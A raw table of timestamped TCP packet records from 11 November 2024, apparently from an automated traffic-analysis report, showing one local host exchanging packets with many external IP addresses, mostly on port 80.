                                                                                                                                                                                                          Nov 11, 2024 18:13:51.433423996 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.433434963 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.433446884 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.433474064 CET5915780192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.433492899 CET5915780192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.441363096 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.441435099 CET5915780192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.514450073 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.514477968 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.514492989 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.514517069 CET5915780192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.514550924 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.514550924 CET5915780192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.514564037 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.514604092 CET5915780192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.514877081 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.514889002 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.514900923 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.514928102 CET5915780192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.514945030 CET5915780192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.514952898 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.514991999 CET5915780192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.515130997 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.515167952 CET5915780192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.515733004 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.515748024 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.515760899 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.515774965 CET5915780192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.515798092 CET5915780192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.515887976 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.515899897 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.515927076 CET5915780192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.515953064 CET5915780192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.516551018 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.516592979 CET5915780192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.516597033 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.516613007 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.516643047 CET5915780192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.516668081 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.516679049 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.516746998 CET5915780192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.516746998 CET5915780192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.517461061 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.517505884 CET5915780192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.517522097 CET5915780192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.519458055 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.519515991 CET5915780192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.519622087 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.519634962 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.519670963 CET5915780192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.519686937 CET5915780192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.592993021 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.593012094 CET8059157199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.593058109 CET5915780192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.593099117 CET5915780192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.495050907 CET5915380192.168.2.685.17.31.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.495141983 CET5915480192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.495165110 CET5915580192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.495198965 CET5915880192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.495230913 CET5915780192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.495264053 CET5915980192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.495280981 CET5916180192.168.2.63.94.10.34
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.495289087 CET5916080192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.704638004 CET5917380192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.709649086 CET805917318.208.156.248192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.709719896 CET5917380192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.726907015 CET5917380192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.727695942 CET5914580192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.727725029 CET5914580192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.731703043 CET805917318.208.156.248192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.735618114 CET5914980192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.740571022 CET805914975.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.167536974 CET805917318.208.156.248192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.167613029 CET5917380192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.174103975 CET805917318.208.156.248192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.174151897 CET5917380192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.648443937 CET5917680192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.653491020 CET8059176199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.654706955 CET5917680192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.856605053 CET5917880192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.856630087 CET5917980192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.857040882 CET5918080192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.857161045 CET5918180192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.863522053 CET805917844.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.863537073 CET805917944.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.863595009 CET5917880192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.863617897 CET5917980192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.863801956 CET8059180188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.863851070 CET5918080192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.863954067 CET805918175.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.864005089 CET5918180192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.949146986 CET5918180192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.954143047 CET805918175.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:56.506236076 CET805918175.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:56.506333113 CET5918180192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:56.506666899 CET805918175.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:56.506676912 CET805918175.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:56.506731987 CET5918180192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:56.526042938 CET5918180192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:56.530998945 CET805918175.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:58.100131035 CET8059144199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:58.100243092 CET5914480192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.803812027 CET5917680192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.844219923 CET5623380192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.844994068 CET5623480192.168.2.63.94.10.34
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.849076986 CET8056233199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.849175930 CET5623380192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.849796057 CET80562343.94.10.34192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.849992037 CET5623480192.168.2.63.94.10.34
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.851273060 CET5623380192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.851361990 CET5623480192.168.2.63.94.10.34
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.967616081 CET5918080192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.967902899 CET5917980192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.967953920 CET5917880192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.971327066 CET5623580192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.971893072 CET5623680192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.972373962 CET5623780192.168.2.6208.100.26.245
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.972435951 CET8059180188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.972714901 CET805917944.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.972907066 CET5623880192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.972913027 CET805917844.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.973165035 CET5623980192.168.2.63.94.10.34
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.973362923 CET5624080192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.974456072 CET5624180192.168.2.6154.212.231.82
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.976211071 CET805623523.253.46.64192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.976555109 CET5623580192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.976905107 CET8056236199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.977660894 CET8056237208.100.26.245192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.977729082 CET5623680192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.977730036 CET5623780192.168.2.6208.100.26.245
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.977756023 CET8056238199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.978275061 CET80562393.94.10.34192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.978327990 CET5623880192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.978410959 CET805624018.208.156.248192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.978436947 CET5623980192.168.2.63.94.10.34
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.978436947 CET5623980192.168.2.63.94.10.34
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.978454113 CET5624080192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.978504896 CET5623680192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.978547096 CET5624080192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.978593111 CET5623780192.168.2.6208.100.26.245
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.978631973 CET5623880192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.979264021 CET8056241154.212.231.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.979711056 CET5624180192.168.2.6154.212.231.82
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.980814934 CET5624180192.168.2.6154.212.231.82
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.983217001 CET80562393.94.10.34192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.983488083 CET8056236199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.983498096 CET805624018.208.156.248192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.983509064 CET8056237208.100.26.245192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.983526945 CET8056238199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.985568047 CET8056241154.212.231.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.005676031 CET5623580192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.034667969 CET5623580192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.034718037 CET5917980192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.034785032 CET5624180192.168.2.6154.212.231.82
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.034857988 CET5918080192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.034877062 CET5917880192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.034910917 CET5623980192.168.2.63.94.10.34
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.034930944 CET5623680192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.034998894 CET5623780192.168.2.6208.100.26.245
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.035022020 CET5623880192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.035083055 CET5624080192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.378519058 CET805917844.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.378559113 CET805917944.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.378623962 CET5917880192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.378726006 CET5917980192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.378757954 CET805917844.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.378767967 CET805917944.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.378808022 CET5917880192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.379059076 CET805917944.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.379070044 CET805917844.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.379086971 CET5917980192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.379214048 CET5917980192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.379693985 CET5917880192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.380672932 CET44359138188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.381377935 CET805917844.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.381443977 CET5917880192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.381464958 CET805917944.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.381478071 CET8059180188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.381498098 CET59138443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.381508112 CET5917980192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.383985996 CET5918080192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.385627985 CET805623523.253.46.64192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.385910034 CET5623580192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.782314062 CET5914680192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.782387018 CET5914380192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.782416105 CET5914780192.168.2.6154.212.231.82
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.782438993 CET5917380192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.782461882 CET5915080192.168.2.6208.100.26.245
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.782506943 CET5914480192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.782526016 CET5914880192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:14:05.003355980 CET6351880192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:14:05.003439903 CET6351780192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:14:05.003634930 CET6348480192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:14:05.003712893 CET6352080192.168.2.6154.212.231.82
                                                                                                                                                                                                          Nov 11, 2024 18:14:05.003870964 CET6351980192.168.2.685.17.31.82
                                                                                                                                                                                                          Nov 11, 2024 18:14:05.003874063 CET6352180192.168.2.6208.100.26.245
                                                                                                                                                                                                          Nov 11, 2024 18:14:05.003976107 CET6352280192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.044694901 CET5052280192.168.2.6208.100.26.245
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.044842005 CET6400880192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.045042992 CET5913980192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.045279980 CET5914080192.168.2.685.17.31.82
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.045344114 CET5052380192.168.2.6154.212.231.82
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.045591116 CET59137443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.045746088 CET59138443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:14:18.343576908 CET805892764.225.91.73192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:18.343652964 CET5892780192.168.2.664.225.91.73
                                                                                                                                                                                                          Nov 11, 2024 18:14:20.316660881 CET805887013.248.169.48192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:20.316770077 CET5887080192.168.2.613.248.169.48
                                                                                                                                                                                                          Nov 11, 2024 18:14:22.521580935 CET806111264.225.91.73192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:22.521667004 CET6111280192.168.2.664.225.91.73
                                                                                                                                                                                                          Nov 11, 2024 18:14:25.608285904 CET8049712154.212.231.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:25.608452082 CET4971280192.168.2.6154.212.231.82
                                                                                                                                                                                                          Nov 11, 2024 18:14:28.490195990 CET806203476.223.67.189192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:28.490271091 CET6203480192.168.2.676.223.67.189
                                                                                                                                                                                                          Nov 11, 2024 18:14:35.242436886 CET800058882106.15.232.163192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:35.242517948 CET588828000192.168.2.6106.15.232.163
                                                                                                                                                                                                          Nov 11, 2024 18:14:37.563553095 CET8062037154.85.183.50192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:37.563671112 CET6203780192.168.2.6154.85.183.50
                                                                                                                                                                                                          Nov 11, 2024 18:14:50.416641951 CET6111280192.168.2.664.225.91.73
                                                                                                                                                                                                          Nov 11, 2024 18:14:50.421478987 CET806111264.225.91.73192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:50.443681955 CET6349280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:14:50.443720102 CET6347880192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:14:50.471309900 CET6203480192.168.2.676.223.67.189
                                                                                                                                                                                                          Nov 11, 2024 18:14:50.476192951 CET806203476.223.67.189192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:50.477005005 CET6203780192.168.2.6154.85.183.50
                                                                                                                                                                                                          Nov 11, 2024 18:14:50.481781006 CET8062037154.85.183.50192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:50.510027885 CET5892780192.168.2.664.225.91.73
                                                                                                                                                                                                          Nov 11, 2024 18:14:50.510071039 CET588828000192.168.2.6106.15.232.163
                                                                                                                                                                                                          Nov 11, 2024 18:14:50.514950991 CET805892764.225.91.73192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:50.514966965 CET800058882106.15.232.163192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:50.521647930 CET5887180192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:14:50.527023077 CET8058871188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:50.527086020 CET5887180192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:14:50.538933992 CET5887780192.168.2.6103.150.10.48
                                                                                                                                                                                                          Nov 11, 2024 18:14:50.539019108 CET5887080192.168.2.613.248.169.48
                                                                                                                                                                                                          Nov 11, 2024 18:14:50.539058924 CET5886380192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:14:50.543817043 CET805887013.248.169.48192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:50.544307947 CET8058863199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:50.544352055 CET5886380192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:14:50.544538975 CET5885980192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:14:50.550287008 CET8058859188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:50.550339937 CET5885980192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:14:50.566005945 CET4971280192.168.2.6154.212.231.82
                                                                                                                                                                                                          Nov 11, 2024 18:14:50.570822001 CET8049712154.212.231.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:50.571142912 CET6329880192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:14:50.587903023 CET4970980192.168.2.6208.100.26.245
                                                                                                                                                                                                          Nov 11, 2024 18:14:50.593159914 CET8049709208.100.26.245192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:50.593224049 CET4970980192.168.2.6208.100.26.245
                                                                                                                                                                                                          Nov 11, 2024 18:14:50.751274109 CET6347880192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:14:50.751351118 CET6349280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:14:50.845026016 CET5887780192.168.2.6103.150.10.48
                                                                                                                                                                                                          Nov 11, 2024 18:14:50.876302004 CET6329880192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:14:51.360661983 CET6347880192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:14:51.360671997 CET6349280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:14:51.454416990 CET5887780192.168.2.6103.150.10.48
                                                                                                                                                                                                          Nov 11, 2024 18:14:51.485836029 CET6329880192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.322880983 CET6456080192.168.2.6162.255.119.102
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.327790022 CET8064560162.255.119.102192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.328135967 CET6456080192.168.2.6162.255.119.102
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.330401897 CET6456080192.168.2.6162.255.119.102
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.335134983 CET8064560162.255.119.102192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.336230040 CET6456180192.168.2.65.79.71.205
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.341028929 CET80645615.79.71.205192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.341156006 CET6456180192.168.2.65.79.71.205
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.341296911 CET6456180192.168.2.65.79.71.205
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.346014977 CET80645615.79.71.205192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.405625105 CET6456280192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.410444975 CET8064562188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.410851002 CET6456280192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.410851002 CET6456280192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.415659904 CET8064562188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.540719032 CET6456380192.168.2.6208.100.26.245
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.545564890 CET8064563208.100.26.245192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.545628071 CET6456380192.168.2.6208.100.26.245
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.545742989 CET6456380192.168.2.6208.100.26.245
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.550565958 CET8064563208.100.26.245192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.563776970 CET6347880192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.563791990 CET6349280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.583965063 CET6456480192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.588813066 CET806456475.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.588874102 CET6456480192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.588963985 CET6456480192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.593797922 CET806456475.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.654478073 CET6456580192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.659414053 CET806456544.221.84.105192.168.2.6
